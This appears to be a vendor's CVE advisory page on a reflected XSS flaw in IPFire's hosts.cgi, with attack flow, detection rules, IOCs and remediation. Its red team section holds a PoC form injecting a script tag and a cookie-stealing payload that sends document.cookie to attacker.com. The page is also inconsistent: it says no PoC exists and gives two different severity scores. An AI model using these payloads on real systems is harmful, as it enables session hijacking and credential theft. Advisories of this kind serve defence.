☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25397

CVE-2019-25397 Cross-Site Scripting in Ipfire
📅 PUBLISHED: 2026-02-18 20:59 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25397 is a reflected cross-site scripting (XSS) vulnerability in IPFire 2.21 Core Update 127, specifically within the hosts.cgi script. The vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into a victim's browser by crafting a malicious POST request with payloads in the KEY1, IP, HOST, or DOM parameters. The attack requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or defacement. No official patch has been released, making manual input validation and sanitization the primary mitigation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

IPFire is a Linux-based firewall distribution. This vulnerability affects the core web interface component (hosts.cgi), not a third-party package. However, administrators should verify the integrity of their IPFire installation and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to information disclosure and minor integrity compromise.

Deep Dive & Mechanics

The hosts.cgi script in IPFire's web interface fails to sanitize user-supplied input in the KEY1, IP, HOST, and DOM parameters. When a victim submits a crafted POST request (e.g., via a malicious link), the script reflects the payload directly into the HTML response without proper encoding. This allows an attacker to execute arbitrary JavaScript in the context of the victim's session.

Root Cause: Lack of input validation and output encoding in the CGI script.

Attack Flow:

  1. Attacker crafts a malicious URL or form that submits a POST request to hosts.cgi with a JavaScript payload in one of the vulnerable parameters.
  2. Victim clicks the link or submits the form while authenticated to the IPFire web interface.
  3. The server reflects the payload in the response, executing the script in the victim's browser.
  4. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# hosts.cgi (vulnerable)
my $key1 = param('KEY1');
print "<input type='text' name='KEY1' value='$key1'>";

Patched Code (Conceptual):

# hosts.cgi (patched)
use HTML::Entities;
my $key1 = param('KEY1');
$key1 = encode_entities($key1);
print "<input type='text' name='KEY1' value='$key1'>";

The patched version uses HTML entity encoding to neutralize any injected script tags.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<form action="https://target-ipfire/cgi-bin/hosts.cgi" method="POST">
  <input type="hidden" name="KEY1" value="<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>

Advanced Payload (Session Hijacking):

<script>
  var img = new Image();
  img.src = "https://attacker.com/steal?cookie=" + document.cookie;
</script>

Lab Setup:

  1. Deploy IPFire 2.21 Core Update 127 in a virtual machine.
  2. Access the web interface and authenticate.
  3. Craft a malicious HTML page with the PoC form.
  4. Host the page on a local server and trick the victim into clicking the submit button.

Blue Team

Detection:

  • Monitor web server logs for POST requests to /cgi-bin/hosts.cgi containing suspicious parameters (e.g., <script>, onerror, javascript:).
  • Use WAF rules to block requests with script tags in KEY1, IP, HOST, or DOM parameters.

Mitigation:

  • Apply input validation and output encoding to all user-supplied data in hosts.cgi.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Upgrade to a patched version of IPFire if available.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /cgi-bin/hosts.cgi with parameters containing <script> tags.
    • Outbound connections to attacker-controlled domains from the IPFire web interface.
  • File IOCs:

    • Modified hosts.cgi file (check integrity via checksum).
    • Suspicious entries in /var/log/httpd/access_log or /var/log/messages.
  • Behavioral IOCs:

    • Unexpected JavaScript execution in the browser.
    • Session cookie theft or unauthorized actions in the IPFire web interface.

Detection Engineering

YARA Rule

rule CVE_2019_25397_XSS {
    meta:
        description = "Detects reflected XSS attempts against IPFire hosts.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25397"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/i
        $onerror = /onerror\s*=/i
        $javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in IPFire hosts.cgi
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to hosts.cgi with XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/hosts.cgi*'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of script tags in admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25397 - Reflected XSS in IPFire hosts.cgi";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/hosts.cgi"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2019-25397;
    classtype:web-application-attack;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Manually sanitize input in hosts.cgi by encoding HTML entities.
    • Implement a Web Application Firewall (WAF) rule to block XSS payloads.
    • Restrict access to the IPFire web interface to trusted IPs only.
  2. Long-term Fix:

    • Upgrade to a patched version of IPFire (if available).
    • Apply input validation and output encoding to all CGI scripts.
    • Enable Content Security Policy (CSP) headers.
  3. Monitoring:

    • Review web server logs for suspicious POST requests.
    • Use the provided YARA, Sigma, and Suricata rules for detection.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25397/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.